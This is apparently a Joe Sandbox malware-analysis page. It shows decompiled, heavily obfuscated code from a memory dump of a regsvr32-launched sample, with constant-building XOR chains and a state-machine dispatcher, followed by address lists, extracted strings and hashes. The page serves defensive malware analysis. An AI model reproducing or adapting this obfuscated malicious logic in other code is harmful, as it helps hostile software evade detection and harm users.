				_v2768 = _v2768 ^ 0x00c7348a;
				_v2672 = 0xa3622d;
				_v2672 = _v2672 * 0x68;
				_v2672 = _v2672 ^ 0x42518aaf;
				_v2732 = 0xe7d257;
				_v2732 = _v2732 << 0xc;
				_v2732 = _v2732 ^ 0x7d2b6ce8;
				_v2908 = 0xb6fcc8;
				_v2908 = _v2908 / _t778;
				_t779 = 0x63;
				_v2908 = _v2908 * 0x4f;
				_v2908 = _v2908 / _t779;
				_v2908 = _v2908 ^ 0x0008aa55;
				_v2736 = 0xa2e201;
				_t780 = 0x24;
				_v2736 = _v2736 / _t780;
				_v2736 = _v2736 ^ 0x0004c10d;
				_v2916 = 0xc480dc;
				_v2916 = _v2916 + 0xffff6830;
				_v2916 = _v2916 << 0xc;
				_v2916 = _v2916 >> 3;
				_v2916 = _v2916 ^ 0x07d4cd30;
				_v2744 = 0x29dac5;
				_v2744 = _v2744 + 0xffff883e;
				_v2744 = _v2744 ^ 0x002f91a3;
				_v2868 = 0xe49a6a;
				_v2868 = _v2868 + 0xb047;
				_v2868 = _v2868 ^ 0x5e8c4957;
				_v2868 = _v2868 * 0x36;
				_v2868 = _v2868 ^ 0xea21adfb;
				_t731 = E04241F6D(_t780);
				_t860 = _v2744;
				_t761 = _t731;
				goto L1;
				do {
					while(1) {
						L1:
						_t874 = _t861 - 0x6dbb171;
						if(_t874 > 0) {
							break;
						}
						if(_t874 == 0) {
							E04242B09(_v2908, _v2636, _v2736, _v2916);
							_pop(_t783);
							_t861 = 0x240e9e1;
							continue;
						} else {
							if(_t861 == 0xb8f10d) {
								_push(_v2872);
								_push(_v2932);
								_push(_v2812);
								_t865 = E0423E1F8(0x42219bc, _v2684, __eflags);
								E042444AD(_v2676, __eflags, _v2656,  &_v1044,  &_v2604, _v2804, _v2760, _t865,  &_v524, _t860, _v2924);
								_t783 = _t865;
								E0423FECB(_t783, _v2840, _v2648, _v2848, _v2856);
								_t868 =  &(_t868[0xf]);
								_t861 = 0x1618198;
								continue;
							} else {
								if(_t861 == 0x1618198) {
									_push(_t783);
									_t783 = _v2780;
									_t743 = E042385FF(_t783, _v2664, __eflags, 0,  &_v1044, 0, _v2692, 1, _v2820);
									_t868 =  &(_t868[7]);
									_t861 = 0x2876e66;
									continue;
								} else {
									if(_t861 == 0x1d2207b) {
										E04240DB1(_v2852,  &_v2084, __eflags, _v2896, _t783, _v2928);
										 *((short*)(E042309DD(_v2740,  &_v2084, _v2844, _v2796))) = 0;
										E0422BAA9(_v2668, _v2772, __eflags, _v2880, _v2920,  &_v1564);
										_push(_v2912);
										_push(_v2724);
										_push(_v2836);
										E04242D0A(_v2752, __eflags,  &_v1564, _v2828, _v2788, _v2888, 0x422188c,  &_v2604,  &_v2084, E0423E1F8(0x422188c, _v2640, __eflags));
										E0423FECB(_t748, _v2644, _v2904, _v2708, _v2660);
										_t868 =  &(_t868[0x16]);
										_t743 = E0422BFBE( &_v2604, _t867, _v2700);
										_pop(_t783);
										__eflags = _t743;
										if(__eflags != 0) {
											_t861 = 0xf749c26;
											continue;
										}
									} else {
										if(_t861 == 0x240e9e1) {
											return E04241538(_v2744, _v2868, _v2628);
										}
										if(_t861 != 0x2876e66) {
											goto L25;
										} else {
											_t743 = E04242B09(_v2768, _t860, _v2672, _v2732);
											_pop(_t783);
											_t861 = 0x6dbb171;
											continue;
										}
										L29:
									}
								}
							}
						}
						L28:
						return _t743;
						goto L29;
					}
					__eflags = _t861 - 0x9e42b00;
					if(_t861 == 0x9e42b00) {
						_t732 = E04240A64(_v2632, _v2636, _v2876, _v2748);
						_t860 = _t732;
						_pop(_t783);
						__eflags = _t732;
						if(__eflags == 0) {
							_t861 = 0x6dbb171;
							goto L25;
						} else {
							_t861 = 0xb8f10d;
							goto L1;
						}
						goto L29;
					} else {
						__eflags = _t861 - 0xa108a7f;
						if(_t861 == 0xa108a7f) {
							_t659 =  &_v2756; // 0x33367e
							_t733 = E0423D8DB( &_v2628,  &_v2636,  *_t659, _v2680);
							asm("sbb esi, esi");
							_pop(_t783);
							_t861 = ( ~_t733 & 0x07a3411f) + 0x240e9e1;
							goto L1;
						} else {
							__eflags = _t861 - 0xbf2cce3;
							if(_t861 == 0xbf2cce3) {
								_t653 =  &_v2764; // 0x33367e
								_t783 = _v2688;
								E04221A34(_t783,  &_v524, _t783, _t783, _v2884, _v2696,  *_t653, _t783, _v2776, _v2784);
								_t868 =  &(_t868[8]);
								_t861 = 0x1d2207b;
								goto L1;
							} else {
								__eflags = _t861 - 0xf749c26;
								if(_t861 != 0xf749c26) {
									goto L25;
								} else {
									_v2624 = E04230CF9();
									_t758 = E042300C5(_t757, _v2824, _v2832);
									_pop(_t804);
									_v2620 = 2 + _t758 * 2;
									_t783 = _v2792;
									_t743 = E0422F726(_t783, _v2704, _v2864, _t761, _v2712, _t761, _t761, _v2808, _t804,  &_v2628, _v2720, _v2816, _t804, _v2728);
									_t868 =  &(_t868[0xc]);
									__eflags = _t743;
									if(__eflags != 0) {
										_t861 = 0xa108a7f;
										goto L1;
									}
								}
							}
						}
					}
					goto L28;
					L25:
					__eflags = _t861 - 0x7aa6196;
				} while (__eflags != 0);
				return _t743;
			}

0x0422a871
0x0422a877
0x0422a881
0x0422a889
0x0422a894
0x0422a89f
0x0422a8aa
0x0422a8b5
0x0422a8c0
0x0422a8cb
0x0422a8d6
0x0422a8e1
0x0422a8ec
0x0422a8f7
0x0422a902
0x0422a90d
0x0422a918
0x0422a923
0x0422a92b
0x0422a938
0x0422a93c
0x0422a943
0x0422a94a
0x0422a94d
0x0422a951
0x0422a959
0x0422a96f
0x0422a976
0x0422a981
0x0422a98c
0x0422a997
0x0422a99f
0x0422a9aa
0x0422a9bc
0x0422a9c1
0x0422a9ca
0x0422a9d5
0x0422a9e0
0x0422a9e8
0x0422a9f0
0x0422a9f8
0x0422aa00
0x0422aa08
0x0422aa0d
0x0422aa17
0x0422aa18
0x0422aa1c
0x0422aa24
0x0422aa2c
0x0422aa34
0x0422aa39
0x0422aa41
0x0422aa49
0x0422aa54
0x0422aa5f
0x0422aa6a
0x0422aa72
0x0422aa80
0x0422aa84
0x0422aa8c
0x0422aa97
0x0422aaad
0x0422aab2
0x0422aabb
0x0422aac6
0x0422aad8
0x0422aadd
0x0422aae6
0x0422aaf1
0x0422aafc
0x0422ab04
0x0422ab0c
0x0422ab17
0x0422ab23
0x0422ab28
0x0422ab2e
0x0422ab3b
0x0422ab3c
0x0422ab40
0x0422ab48
0x0422ab55
0x0422ab59
0x0422ab61
0x0422ab66
0x0422ab6e
0x0422ab79
0x0422ab84
0x0422ab8f
0x0422ab97
0x0422ab9f
0x0422aba4
0x0422abac
0x0422abbf
0x0422abc6
0x0422abd1
0x0422abd9
0x0422abde
0x0422abe6
0x0422abea
0x0422abf2
0x0422abfd
0x0422ac08
0x0422ac13
0x0422ac27
0x0422ac2e
0x0422ac39
0x0422ac44
0x0422ac4c
0x0422ac59
0x0422ac5d
0x0422ac65
0x0422ac70
0x0422ac7b
0x0422ac86
0x0422ac91
0x0422ac99
0x0422aca1
0x0422acab
0x0422acaf
0x0422acb7
0x0422acc2
0x0422accd
0x0422acd8
0x0422ace9
0x0422acec
0x0422acf0
0x0422acf5
0x0422acfd
0x0422ad05
0x0422ad10
0x0422ad1b
0x0422ad26
0x0422ad31
0x0422ad3c
0x0422ad47
0x0422ad52
0x0422ad5d
0x0422ad68
0x0422ad7b
0x0422ad82
0x0422ad8d
0x0422ad95
0x0422ad9d
0x0422ada5
0x0422adaa
0x0422adb2
0x0422adba
0x0422adc2
0x0422adca
0x0422add2
0x0422ade8
0x0422adf7
0x0422adfa
0x0422ae01
0x0422ae0c
0x0422ae14
0x0422ae19
0x0422ae21
0x0422ae29
0x0422ae34
0x0422ae3f
0x0422ae4a
0x0422ae55
0x0422ae5d
0x0422ae6a
0x0422ae6e
0x0422ae76
0x0422ae89
0x0422ae90
0x0422ae9b
0x0422aeae
0x0422aebd
0x0422aec4
0x0422aecf
0x0422aeda
0x0422aee5
0x0422aef0
0x0422af04
0x0422af0b
0x0422af16
0x0422af21
0x0422af2c
0x0422af37
0x0422af42
0x0422af57
0x0422af65
0x0422af6a
0x0422af73
0x0422af7e
0x0422af89
0x0422af91
0x0422af9c
0x0422afa8
0x0422afad
0x0422afb3
0x0422afbb
0x0422afc3
0x0422afcb
0x0422afdd
0x0422afe0
0x0422afe7
0x0422aff2
0x0422affd
0x0422b010
0x0422b017
0x0422b022
0x0422b02d
0x0422b035
0x0422b040
0x0422b04b
0x0422b058
0x0422b05c
0x0422b064
0x0422b069
0x0422b071
0x0422b079
0x0422b086
0x0422b08a
0x0422b08f
0x0422b097
0x0422b09f
0x0422b0a7
0x0422b0af
0x0422b0b7
0x0422b0c2
0x0422b0ca
0x0422b0d5
0x0422b0e0
0x0422b0e8
0x0422b0f3
0x0422b0fe
0x0422b10e
0x0422b115
0x0422b120
0x0422b133
0x0422b13a
0x0422b142
0x0422b14d
0x0422b155
0x0422b159
0x0422b161
0x0422b169
0x0422b171
0x0422b176
0x0422b17e
0x0422b186
0x0422b191
0x0422b19c
0x0422b1a7
0x0422b1b4
0x0422b1b8
0x0422b1c0
0x0422b1ca
0x0422b1d8
0x0422b1dd
0x0422b1e3
0x0422b1eb
0x0422b1f3
0x0422b1fe
0x0422b209
0x0422b214
0x0422b21f
0x0422b22a
0x0422b235
0x0422b240
0x0422b24b
0x0422b253
0x0422b25e
0x0422b270
0x0422b275
0x0422b27e
0x0422b289
0x0422b294
0x0422b2a6
0x0422b2ab
0x0422b2bc
0x0422b2bf
0x0422b2c6
0x0422b2d1
0x0422b2e4
0x0422b2eb
0x0422b2f6
0x0422b301
0x0422b309
0x0422b314
0x0422b324
0x0422b32d
0x0422b330
0x0422b33c
0x0422b340
0x0422b348
0x0422b35a
0x0422b35d
0x0422b364
0x0422b36f
0x0422b377
0x0422b37f
0x0422b384
0x0422b389
0x0422b391
0x0422b39c
0x0422b3a7
0x0422b3b2
0x0422b3ba
0x0422b3c2
0x0422b3cf
0x0422b3d3
0x0422b3e2
0x0422b3e7
0x0422b3ee
0x0422b3ee
0x0422b3f0
0x0422b3f0
0x0422b3f0
0x0422b3f0
0x0422b3f6
0x00000000
0x00000000
0x0422b3fc
0x0422b668
0x0422b66e
0x0422b66f
0x00000000
0x0422b402
0x0422b408
0x0422b5b7
0x0422b5c0
0x0422b5c4
0x0422b5da
0x0422b61d
0x0422b629
0x0422b640
0x0422b645
0x0422b648
0x00000000
0x0422b40e
0x0422b414
0x0422b57a
0x0422b599
0x0422b5a5
0x0422b5aa
0x0422b5ad
0x00000000
0x0422b41a
0x0422b420
0x0422b473
0x0422b49b
0x0422b4bc
0x0422b4c9
0x0422b4cd
0x0422b4d4
0x0422b523
0x0422b543
0x0422b548
0x0422b561
0x0422b567
0x0422b568
0x0422b56a
0x0422b570
0x00000000
0x0422b570
0x0422b422
0x0422b428
0x00000000
0x0422b814
0x0422b434
0x00000000
0x0422b43a
0x0422b451
0x0422b457
0x0422b458
0x00000000
0x0422b458
0x00000000
0x0422b434
0x0422b420
0x0422b414
0x0422b408
0x0422b81f
0x0422b81f
0x00000000
0x0422b81f
0x0422b679
0x0422b67f
0x0422b7d3
0x0422b7d8
0x0422b7db
0x0422b7dc
0x0422b7de
0x0422b7ea
0x00000000
0x0422b7e0
0x0422b7e0
0x00000000
0x0422b7e0
0x00000000
0x0422b685
0x0422b685
0x0422b68b
0x0422b78e
0x0422b79c
0x0422b7a6
0x0422b7ae
0x0422b7af
0x00000000
0x0422b691
0x0422b691
0x0422b697
0x0422b753
0x0422b767
0x0422b76e
0x0422b773
0x0422b776
0x00000000
0x0422b69d
0x0422b69d
0x0422b6a3
0x00000000
0x0422b6a9
0x0422b6c3
0x0422b6ca
0x0422b6cf
0x0422b6ed
0x0422b71c
0x0422b723
0x0422b728
0x0422b72b
0x0422b72d
0x0422b733
0x00000000
0x0422b733
0x0422b72d
0x0422b6a3
0x0422b697
0x0422b68b
0x00000000
0x0422b7ef
0x0422b7ef
0x0422b7ef
0x00000000

Strings

QGgf, xrefs: 0422ADBA
BbJ, xrefs: 0422A981
HMJ9, xrefs: 0422AFE7
N , xrefs: 0422ACB7
9, xrefs: 0422B176
/e, xrefs: 0422ABEA
05, xrefs: 0422AEE5
2iJ, xrefs: 0422B022
!., xrefs: 0422AE4A
xs,, xrefs: 0422AAF1
K, xrefs: 0422B186
uv, xrefs: 0422AE55
~63, xrefs: 0422AC1E, 0422AF5E, 0422AF4D
B:, xrefs: 0422AC44
$P, xrefs: 0422A936
l+}, xrefs: 0422B309
h, xrefs: 0422ABA4
\\, xrefs: 0422AA54
~63, xrefs: 0422B753

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h$!.$$P$/e$05$2iJ$B:$BbJ$HMJ9$K$N $QGgf$\\$uv$xs,$~63$~63$9$l+}
API String ID: 0-4215899151
Opcode ID: 2d3c2f90dfe711dfd13384a69dad9536174f02ac61de7df570296c5eb6e213ba
Instruction ID: 5ac5a43ed59b001d88625a295cfcd1a7521efb781d5595e7bf839cf05087156f
Opcode Fuzzy Hash: 2d3c2f90dfe711dfd13384a69dad9536174f02ac61de7df570296c5eb6e213ba
Instruction Fuzzy Hash: 2272EF725183819FD378CF21D54AB8BBBE2BBC4348F10891DE6D996260DBB19958CF43

Uniqueness

Uniqueness Score: -1.00%

Function 04230F86, Relevance: 23.2, Strings: 18, Instructions: 723
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E04230F86(intOrPtr* __ecx) {
				char _v68;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				void* _t824;
				void* _t825;
				void* _t829;
				void* _t832;
				void* _t844;
				void* _t850;
				void* _t853;
				signed int _t860;
				signed int _t861;
				signed int _t862;
				signed int _t863;
				signed int _t864;
				signed int _t865;
				signed int _t866;
				signed int _t867;
				signed int _t868;
				signed int _t869;
				signed int _t870;
				signed int _t871;
				signed int _t872;
				signed int _t873;
				signed int _t874;
				signed int _t875;
				signed int _t876;
				void* _t882;
				void* _t901;
				void* _t957;
				intOrPtr _t975;
				intOrPtr* _t978;
				signed int _t980;
				signed int _t981;
				void* _t982;
				intOrPtr _t986;
				void* _t987;
				void* _t994;
				void* _t996;

				_t978 = __ecx;
				_v96 = __ecx;
				_v88 = 0xce16ef;
				_t986 = 0;
				_t853 = 0x87433f6;
				_v84 = 0;
				_v80 = 0;
				_v412 = 0xef09b0;
				_v412 = _v412 + 0xffff239a;
				_v412 = _v412 >> 0xe;
				_v412 = _v412 + 0xffffb1af;
				_v412 = _v412 ^ 0xffffb567;
				_v144 = 0xb2550e;
				_v144 = _v144 << 6;
				_v144 = _v144 ^ 0x2c954380;
				_v160 = 0xa1df5c;
				_v160 = _v160 * 0x60;
				_v160 = _v160 ^ 0x3cb3c280;
				_v288 = 0x7a32d8;
				_v288 = _v288 | 0x8c6c9666;
				_v288 = _v288 ^ 0x041f8caf;
				_v288 = _v288 ^ 0x88613a51;
				_v348 = 0xdf5e12;
				_v348 = _v348 | 0xa5ea5eb7;
				_v348 = _v348 ^ 0xa5ff5eb7;
				_v296 = 0x7009ff;
				_v296 = _v296 + 0xffff1527;
				_v296 = _v296 + 0x576a;
				_v296 = _v296 ^ 0x006f7690;
				_v372 = 0x1f54b;
				_t860 = 0x52;
				_v372 = _v372 * 0x5a;
				_v372 = _v372 >> 0xb;
				_v372 = _v372 / _t860;
				_v372 = _v372 ^ 0x00000044;
				_v332 = 0x772df1;
				_v332 = _v332 + 0x4853;
				_v332 = _v332 ^ 0x166147d5;
				_v332 = _v332 ^ 0x16163191;
				_v240 = 0x1a1abb;
				_v240 = _v240 ^ 0xbdfc81b5;
				_v240 = _v240 | 0x1ef02f35;
				_v240 = _v240 ^ 0xbff6bf3f;
				_v232 = 0x620327;
				_v232 = _v232 + 0xffffc934;
				_t861 = 0x13;
				_v232 = _v232 / _t861;
				_v232 = _v232 ^ 0x000525b3;
				_v208 = 0xe2fff2;
				_t980 = 0x39;
				_v208 = _v208 * 0x78;
				_v208 = _v208 ^ 0x6a67f970;
				_v344 = 0xf3734c;
				_v344 = _v344 >> 0x10;
				_v344 = _v344 / _t980;
				_v344 = _v344 ^ 0x00000004;
				_v300 = 0x170e40;
				_v300 = _v300 | 0xfbde795f;
				_v300 = _v300 ^ 0xfbde9330;
				_v260 = 0xd4f3ae;
				_v260 = _v260 ^ 0x9e22b963;
				_v260 = _v260 * 0x2e;
				_v260 = _v260 ^ 0x904fea8f;
				_v356 = 0x4c8d9b;
				_v356 = _v356 | 0xd47535dd;
				_v356 = _v356 + 0xffffd433;
				_t862 = 0x64;
				_v356 = _v356 * 0x59;
				_v356 = _v356 ^ 0xdfa15942;
				_v308 = 0xbd9260;
				_v308 = _v308 >> 0xe;
				_v308 = _v308 * 0x79;
				_v308 = _v308 ^ 0x000cbe7b;
				_v252 = 0xa2f51d;
				_v252 = _v252 + 0x749;
				_v252 = _v252 << 0xd;
				_v252 = _v252 ^ 0x5f854687;
				_v292 = 0x216e58;
				_v292 = _v292 / _t862;
				_v292 = _v292 + 0xffff8880;
				_v292 = _v292 ^ 0xfff3b1bc;
				_v176 = 0xac4eb4;
				_v176 = _v176 | 0xd866b52c;
				_v176 = _v176 ^ 0xd8e8b8b7;
				_v236 = 0x7a6201;
				_v236 = _v236 ^ 0x2461ec4e;
				_t863 = 0xa;
				_v236 = _v236 * 0x35;
				_v236 = _v236 ^ 0x79bb4b53;
				_v220 = 0xf5a9fb;
				_v220 = _v220 << 1;
				_v220 = _v220 >> 5;
				_v220 = _v220 ^ 0x000a39a7;
				_v380 = 0x7beff6;
				_v380 = _v380 / _t863;
				_v380 = _v380 | 0x5a206f9b;
				_v380 = _v380 * 0x3d;
				_v380 = _v380 ^ 0x7c9823d9;
				_v284 = 0xdc7201;
				_v284 = _v284 ^ 0xec4f9d75;
				_v284 = _v284 << 8;
				_v284 = _v284 ^ 0x93e140b6;
				_v396 = 0x36b797;
				_v396 = _v396 + 0x83f2;
				_v396 = _v396 | 0xb5da4ffa;
				_v396 = _v396 ^ 0x8c9f27f1;
				_v396 = _v396 ^ 0x3962cb66;
				_v364 = 0x608af6;
				_v364 = _v364 >> 0xe;
				_v364 = _v364 ^ 0xb06c2668;
				_v364 = _v364 >> 0xa;
				_v364 = _v364 ^ 0x0022b374;
				_v404 = 0xe18b1f;
				_v404 = _v404 + 0xffff49de;
				_v404 = _v404 + 0xffffa950;
				_v404 = _v404 >> 5;
				_v404 = _v404 ^ 0x000802e7;
				_v168 = 0x720eed;
				_v168 = _v168 | 0xf4577aa8;
				_v168 = _v168 ^ 0xf4704e8f;
				_v328 = 0x5e39f;
				_v328 = _v328 * 0x2a;
				_v328 = _v328 ^ 0x47860790;
				_v328 = _v328 ^ 0x47706e69;
				_v336 = 0xdd3db6;
				_v336 = _v336 ^ 0x0be1064e;
				_v336 = _v336 ^ 0xe0fa941c;
				_v336 = _v336 ^ 0xebc1ff07;
				_v340 = 0x8bacdf;
				_t864 = 0x49;
				_v340 = _v340 / _t864;
				_t865 = 0x77;
				_v340 = _v340 * 0x4d;
				_v340 = _v340 ^ 0x0099a7e7;
				_v440 = 0x29fcf0;
				_v440 = _v440 >> 4;
				_v440 = _v440 ^ 0x37539152;
				_v440 = _v440 / _t865;
				_v440 = _v440 ^ 0x007580f6;
				_v400 = 0x753dd5;
				_v400 = _v400 ^ 0x142a6b84;
				_v400 = _v400 ^ 0x6d30c2ad;
				_v400 = _v400 ^ 0xe014bebf;
				_v400 = _v400 ^ 0x997c2220;
				_v128 = 0x8b3cd;
				_v128 = _v128 << 2;
				_v128 = _v128 ^ 0x002b9a55;
				_v408 = 0x5fd2f;
				_v408 = _v408 >> 9;
				_t866 = 0x69;
				_v408 = _v408 * 0x53;
				_v408 = _v408 * 0x58;
				_v408 = _v408 ^ 0x00501640;
				_v416 = 0x7e5e32;
				_v416 = _v416 | 0x37c3b1cb;
				_v416 = _v416 + 0x4e4b;
				_v416 = _v416 | 0xc7e68b70;
				_v416 = _v416 ^ 0xffec3e94;
				_v304 = 0xac72e0;
				_v304 = _v304 + 0xffff9516;
				_v304 = _v304 | 0x0ab72207;
				_v304 = _v304 ^ 0x0aba1474;
				_v424 = 0x91a63a;
				_v424 = _v424 | 0xeda6ffa9;
				_v424 = _v424 ^ 0xa7761782;
				_v424 = _v424 << 0xe;
				_v424 = _v424 ^ 0x7a08e30a;
				_v436 = 0x9e7f8b;
				_v436 = _v436 | 0x84ca61f6;
				_v436 = _v436 << 2;
				_v436 = _v436 * 0x3e;
				_v436 = _v436 ^ 0xb78cfbfa;
				_v216 = 0x303808;
				_v216 = _v216 + 0xef78;
				_v216 = _v216 / _t980;
				_v216 = _v216 ^ 0x000455e2;
				_v312 = 0x19b522;
				_v312 = _v312 << 7;
				_v312 = _v312 ^ 0x11162953;
				_v312 = _v312 ^ 0x1dcfd305;
				_v212 = 0x8a6fc0;
				_v212 = _v212 << 9;
				_v212 = _v212 ^ 0x14d4ca12;
				_v276 = 0xdb7845;
				_v276 = _v276 / _t866;
				_v276 = _v276 * 0x1c;
				_v276 = _v276 ^ 0x003237f1;
				_v124 = 0x91e545;
				_t867 = 0x7b;
				_v124 = _v124 / _t867;
				_v124 = _v124 ^ 0x0004745c;
				_v192 = 0x2154b3;
				_v192 = _v192 ^ 0x5324a52c;
				_v192 = _v192 ^ 0x530d1a47;
				_v140 = 0x7913eb;
				_v140 = _v140 | 0xe487e648;
				_v140 = _v140 ^ 0xe4fd51cb;
				_v428 = 0x8a554f;
				_v428 = _v428 << 1;
				_v428 = _v428 + 0xffff493d;
				_v428 = _v428 | 0x8f4663f4;
				_v428 = _v428 ^ 0x8f592165;
				_v200 = 0x5c4830;
				_v200 = _v200 + 0xffffe35d;
				_v200 = _v200 ^ 0x00549f8c;
				_v132 = 0x6e2e79;
				_t377 =  &_v132; // 0x6e2e79
				_t981 = 0x62;
				_v132 =  *_t377 / _t981;
				_v132 = _v132 ^ 0x000a369f;
				_v244 = 0x1d0d9a;
				_t868 = 0x6e;
				_v244 = _v244 / _t868;
				_v244 = _v244 ^ 0xec9a9004;
				_v244 = _v244 ^ 0xec94e609;
				_v148 = 0xd4a92;
				_v148 = _v148 + 0xffffbc3f;
				_v148 = _v148 ^ 0x00088ca7;
				_v184 = 0x3666a0;
				_v184 = _v184 >> 0xb;
				_v184 = _v184 ^ 0x00096f18;
				_v228 = 0x713966;
				_v228 = _v228 << 3;
				_v228 = _v228 << 0xb;
				_v228 = _v228 ^ 0x4e5b426e;
				_v316 = 0xec09e9;
				_v316 = _v316 << 7;
				_t869 = 0x78;
				_v316 = _v316 / _t869;
				_v316 = _v316 ^ 0x00fe5880;
				_v268 = 0x8ffe81;
				_v268 = _v268 + 0xffff4311;
				_v268 = _v268 ^ 0x56e15418;
				_v268 = _v268 ^ 0x566a144b;
				_v324 = 0x9f4c2e;
				_v324 = _v324 >> 4;
				_v324 = _v324 | 0x903f3b4d;
				_v324 = _v324 ^ 0x9031b6d7;
				_v196 = 0x6080cf;
				_v196 = _v196 << 0xe;
				_v196 = _v196 ^ 0x203ba000;
				_v256 = 0x4bba45;
				_v256 = _v256 + 0xc17c;
				_v256 = _v256 | 0x95e268b8;
				_v256 = _v256 ^ 0x95e68234;
				_v264 = 0x7821fc;
				_v264 = _v264 << 3;
				_t870 = 0x34;
				_v264 = _v264 / _t870;
				_v264 = _v264 ^ 0x001694e5;
				_v204 = 0x96f3a5;
				_v204 = _v204 * 0x24;
				_v204 = _v204 ^ 0x153e3a4b;
				_v368 = 0xbef911;
				_t871 = 0xe;
				_v368 = _v368 / _t871;
				_v368 = _v368 >> 0xb;
				_v368 = _v368 + 0x5de4;
				_v368 = _v368 ^ 0x00021c01;
				_v376 = 0x377d04;
				_v376 = _v376 + 0xcef;
				_v376 = _v376 ^ 0x9e466b70;
				_t872 = 0x59;
				_v376 = _v376 * 0x6b;
				_v376 = _v376 ^ 0x399834bf;
				_v180 = 0x6632ea;
				_v180 = _v180 | 0x3a3e38fd;
				_v180 = _v180 ^ 0x3a73a81b;
				_v248 = 0x142cd9;
				_v248 = _v248 / _t872;
				_v248 = _v248 / _t981;
				_v248 = _v248 ^ 0x0001d965;
				_v188 = 0x88b8e9;
				_v188 = _v188 + 0xffff5f5f;
				_v188 = _v188 ^ 0x0087927e;
				_v164 = 0x9c013d;
				_t873 = 0xa;
				_v164 = _v164 / _t873;
				_v164 = _v164 ^ 0x0004ead6;
				_v172 = 0x53b5f1;
				_v172 = _v172 + 0xd9f2;
				_v172 = _v172 ^ 0x005588af;
				_v360 = 0xd6ac8a;
				_v360 = _v360 | 0xfdf9fa5f;
				_v360 = _v360 ^ 0xfdfecc4d;
				_v224 = 0xfb951e;
				_v224 = _v224 + 0xffff2e4c;
				_v224 = _v224 + 0x8dcd;
				_v224 = _v224 ^ 0x00f1d24a;
				_v272 = 0x6e5d6f;
				_v272 = _v272 << 2;
				_t874 = 0x6f;
				_v272 = _v272 / _t874;
				_v272 = _v272 ^ 0x000d7a86;
				_v384 = 0x15dc31;
				_v384 = _v384 + 0xfffffc55;
				_v384 = _v384 << 0x10;
				_v384 = _v384 >> 0xa;
				_v384 = _v384 ^ 0x003c4753;
				_v392 = 0x7bc513;
				_v392 = _v392 * 0x54;
				_v392 = _v392 | 0xe01c3b63;
				_v392 = _v392 + 0xe1b2;
				_v392 = _v392 ^ 0xe89c6b16;
				_v420 = 0x6862b7;
				_v420 = _v420 ^ 0x841c6550;
				_v420 = _v420 + 0xd52;
				_v420 = _v420 >> 0x10;
				_v420 = _v420 ^ 0x000e8d54;
				_v388 = 0x19484a;
				_t982 = 0x6f661e6;
				_t875 = 0x68;
				_v388 = _v388 / _t875;
				_t876 = 0xd;
				_v92 = 0x100;
				_v388 = _v388 * 0x61;
				_v388 = _v388 << 6;
				_v388 = _v388 ^ 0x05e5c873;
				_v432 = 0xb160;
				_v432 = _v432 * 0x78;
				_v432 = _v432 >> 8;
				_v432 = _v432 ^ 0xee0de4a9;
				_v432 = _v432 ^ 0xee0e3c37;
				_v320 = 0x436488;
				_v320 = _v320 * 0x7d;
				_v320 = _v320 * 0x24;
				_v320 = _v320 ^ 0xa0a81f1c;
				_v136 = 0x73af31;
				_v136 = _v136 >> 0xf;
				_v136 = _v136 ^ 0x0004ab53;
				_v120 = 0xd23217;
				_v120 = _v120 | 0x86b48086;
				_v120 = _v120 ^ 0x86fe303d;
				_v280 = 0x567562;
				_v280 = _v280 / _t876;
				_v280 = _v280 + 0xffff7ef5;
				_v280 = _v280 ^ 0x00098751;
				_v152 = 0x24c9f6;
				_v152 = _v152 + 0x7f22;
				_v152 = _v152 ^ 0x002f2944;
				_v156 = 0xe548b;
				_v156 = _v156 + 0xe219;
				_v156 = _v156 ^ 0x000a95de;
				_v352 = 0xccf4e9;
				_v352 = _v352 | 0x0ed71748;
				_v352 = _v352 + 0xefd9;
				_v352 = _v352 << 3;
				_v352 = _v352 ^ 0x770f1835;
				while(1) {
					L1:
					while(1) {
						L2:
						while(1) {
							L3:
							_t957 = 0xaefec99;
							do {
								while(1) {
									L4:
									_t996 = _t853 - 0x89f995e;
									if(_t996 > 0) {
										break;
									}
									if(_t996 == 0) {
										E0423C237(_v108, _v432, _v320, _v136);
										_t853 = 0xc502d5f;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t853 == 0x49f634) {
											_push(_v308);
											_push(_v356);
											_push(_v260);
											_t832 = E0423E1F8(0x42213d8, _v300, __eflags);
											_push(_v236);
											_push(_v176);
											_push(_v292);
											__eflags = L0422738A(_v220, _t832, _v380, _v412,  &_v112, E0423E1F8(0x4221318, _v252, __eflags), _v284) - _v144;
											_t853 =  ==  ? 0xc917448 : 0x468e224;
